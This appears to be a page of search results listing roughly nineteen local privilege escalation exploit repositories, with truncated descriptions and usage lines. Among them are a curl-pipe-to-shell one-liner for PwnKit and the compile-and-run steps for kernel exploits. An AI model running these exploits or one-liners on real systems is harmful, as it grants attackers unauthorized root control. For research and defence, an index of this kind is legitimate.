40004 matches found
PwnKit_CVE-2021-4034
PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de privilegios local en Pkexec Uso Debería funcionar sin configuración adicional en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. sh -c "$curl -fsSL...
CVE-2022-42046
EvilWfshbr CVE-2022-42046 Prueba de concepto de escalada de privilegios local de wfshbr64.sys wfshbr64.sys y wfshbr32.sys permiten que un usuario arbitrario realice operaciones bit a bit con un desplazamiento EPROCESS arbitrario y un valor de banderas para elevar intencionadamente el proceso del...
CVE-2021-1675
🖨️ CVE-2021-1675 — PrintNightmare Windows Print Spooler RCE/LPE Type: Proof of Concept — Simulated Non-Functional CVE: CVE-2021-1675 + CVE-2021-34527 CVSS: 7.8 LPE / 8.8 RCE Alias: PrintNightmare Patched: June/July 2021 — KB5004945 Added to CISA KEV: July 2021 ⚠️ The payload of this PoC is...
CVE-2021-33909
CVE-2021-33909 Exploit code for CVE-2021-33909,Just a dump of removed https://github.com/AmIAHuman/ repo Sequoia CVE-2021-33909 Building gcc exploit.c -o exploit Running "mkdir dir;./exploit $pwd/dir". chmod +x exploit ./exploit One-Liner gcc exploit.c -o exploit;chmod +x exploit;./exploit Credit...
DirtySlide
DirtySlide Unprivileged → root macOS LPE. An 8-byte OOB read/write into kernel memory adjacent to a dyld shared-cache page, from a missing in-page bounds check in the v5 slide walk vmsharedregionslidepagev5, reachable via syscall 536. Patched in macOS 26.5.2 25F84, xnu-12377.121.10. Vulnerable...
CVE-2020-1066-EXP
Referencia Esta vulnerabilidad es una vulnerabilidad de elevación de privilegios local por reemplazo de archivos arbitrarios causada por el manejo incorrecto de objetos de enlace simbólico por parte del servicio Windows CardSpace Declaración El autor proporciona el PoC únicamente con fines de...
CVE-2023-2598
CVE-2023-2598 Referencias: https://anatomic.rip/cve-2023-2598/ https://github.com/ysanatomic/iouringLPE-CVE-2023-2598 https://bsauce.github.io/2024/07/30/CVE-2023-2598/ Compilación: apt install -y liburing-dev gcc CVE-2023-2598.c -o CVE-2023-2598 -luring Prueba de concepto: user1@syzkaller:$ unam...
CVE-2026-43499-Poc-Analysis
CVE-2026-43499 Android arm64 Local Privilege Escalation Adaptation English | 中文 This is an Android arm64 local privilege escalation adaptation project for CVE-2026-43499. The project generates a target-specific target.h from the target device's boot.img and profile, then builds the corresponding...
CVE-2026-64600
🚨 CVE-2026-64600 — RefluxFS Linux Kernel Local Privilege Escalation LPE 📖 Overview CVE-2026-64600 "RefluxFS" is a Linux kernel vulnerability affecting the RefluxFS filesystem implementation. The flaw stems from improper validation of filesystem metadata, potentially leading to kernel memory...
CVE-2025-8045
CVE-2025-8045 — Arm Mali GPU KCPU Queue UAF A local privilege escalation exploit for CVE-2025-8045 , a use-after-free in the Arm Mali GPU kernel driver kbase. A non-privileged local process races the CSF KCPU queue dump path to free and reclaim a cpuqueue.buffer, turns the dangling allocation int...
mach_race
Mach Race OS X Local Privilege Escalation Exploit c fG! 2015, 2016, [email protected] - https://reverse.put.as A SUID, SIP, and binary entitlements universal OS X exploit CVE-2016-1757. Usage against a SUID binary: ./machraceserver /bin/ps compatmode for i in seq 0 1000000; do...
SdoKeyCrypt-sys-local-privilege-elevation
SdoKeyCrypt.sys - Local Privilege Elevation Vulnerability 1. What is SdoKeyCrypt.sys? SdoKeyCrypt.sys is a keyboard protection driver for a MMORPG, aka Massively-Multiplayer-Online-Role-Playing-Game, called MapleStory Online which is published by Shanda Group in China. The game's official website...
CVE-2021-4034
Proof of Concept PoC: CVE-2021-4034 PwnKit Note: This repository and its content are part of a Final Degree Project FDP, created solely for educational purposes and academic research. Description This repository contains a proof of concept PoC for the CVE-2021-4034 vulnerability, also known as...
vScalation-CVE-2021-22015
vScalation CVE-2021-22015 Escalada de Privilegios Local en VMWare vCenter El grupo de investigación de Pentera descubrió una vulnerabilidad en el programa vCenter Server de VMWare que afecta al software de VMWare instalado en 500,000 organizaciones en todo el mundo, responsables de gestionar sus...
dirty_sock
dirtysock Exploit de escalada de privilegios local mediante snapd CVE-2019-7304 remasterizado Créditos a initstring. Original dirtysock. Uso Espere 40 segundos antes de ejecutar el script nuevamente, de lo contrario no funciona. chmod u+x lpe.py ./lpe.py...
CVE-2014-7911
CVE-2014-7911 PoC para CVE-2014-7911 para Nexus5 Android 4.4.4r1 basado en retme7, usando una cadena ROP diferente Información http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html Uso conecta tu teléfono mediante adb adb push...
Citrix_Secure_Access_LPE_0DAY
Citric Secure Access Local privilege escalation I have discovered a local privilege escalation vulnerability in the Citrix Secure Access Windows Client. This vulnerability allows a privileged administrator to inject a malicious payload to gain NT Authority privileges. The affected versions of...
CVE-2023-3338-DECPwn
DECPwn Practicing different Linux kernel exploitation techniques with my DECnet vulnerability and null page mapping enabled. Scenarios Everything disabled : qemu-system-x8664 -append "nosmap nosmep nopti nokaslr" Code execution is redirected to the output function in userland, which invokes...
raptor_infiltrate20
raptorinfiltrate20 "Bugs are by far the largest and most successful class of entity." -- Encyclopedia of Animal Life This repository contains all materials related to my talk "The INFILTRATE effect: 6 bugs in 6 months" presented at INFILTRATE20 on January 26, 2021. Related links...